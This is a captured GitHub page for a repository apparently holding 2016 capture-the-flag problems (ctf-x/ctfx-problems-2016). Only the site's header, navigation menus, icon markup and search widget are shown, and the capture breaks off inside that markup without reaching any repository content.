<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="62685294" data-scoped-search-url="/ctf-x/ctfx-problems-2016/search" data-owner-scoped-search-url="/orgs/ctf-x/search" data-unscoped-search-url="/search" data-turbo="false" action="/ctf-x/ctfx-problems-2016/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="09ZOFX3hwUaGgIHR21E4sQqYIEhOSZ611w+lbVQJIq+SrosHH27gZihirg7Fnlvx3i6InrfsYTNUqNmwCl9QkA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 